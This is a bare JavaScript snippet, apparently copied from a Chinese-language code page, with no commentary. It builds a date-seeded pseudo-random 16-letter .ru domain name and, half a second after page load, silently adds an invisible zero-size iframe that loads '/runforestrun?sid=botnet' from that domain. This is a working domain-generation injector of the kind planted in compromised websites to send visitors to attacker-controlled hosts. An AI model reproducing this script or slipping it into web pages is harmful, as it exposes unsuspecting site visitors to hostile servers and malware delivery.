| 复制代码function nextRandomNumber(){
  var hi = this .seed / this .Q;
  var lo = this .seed % this .Q;
  var test = this .A * lo - this .R * hi;
  if (test > 0){
    this .seed = test;
  }
  else {
    this .seed = test + this .M;
  }
  return (this .seed * this .oneOverM);
}
function RandomNumberGenerator(unix){
  var d = new Date(unix * 1000);
  var s = d.getHours() > 12 ? 1 : 0;
  this .seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.
  round(s * 0xFFF));
  this .A = 48271;
  this .M = 2147483647;
  this .Q = this .M / this .A;
  this .R = this .M % this .A;
  this .oneOverM = 1.0 / this .M;
  this .next = nextRandomNumber;
  return this ;
}
function createRandomNumber(r, Min, Max){
  return Math.round((Max - Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone){
  var rand = new RandomNumberGenerator(unix);
  var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o'
  , 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
  var str = '';
  for (var i = 0; i < length; i ++ ){
    str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  }
  return str + '.' + zone;
}
setTimeout(function (){
  try {
    if (typeof iframeWasCreated == "undefined"){
      iframeWasCreated = true;
      var unix = Math.round( + new Date() / 1000);
      var domainName = generatePseudoRandomString(unix, 16, 'ru');
      ifrm = document.createElement("IFRAME");
      ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet");
      ifrm.style.width = "0px";
      ifrm.style.height = "0px";
      ifrm.style.visibility = "hidden";
      document.body.appendChild(ifrm);
    }
  }
  catch (e){
  }
}
, 500);
 |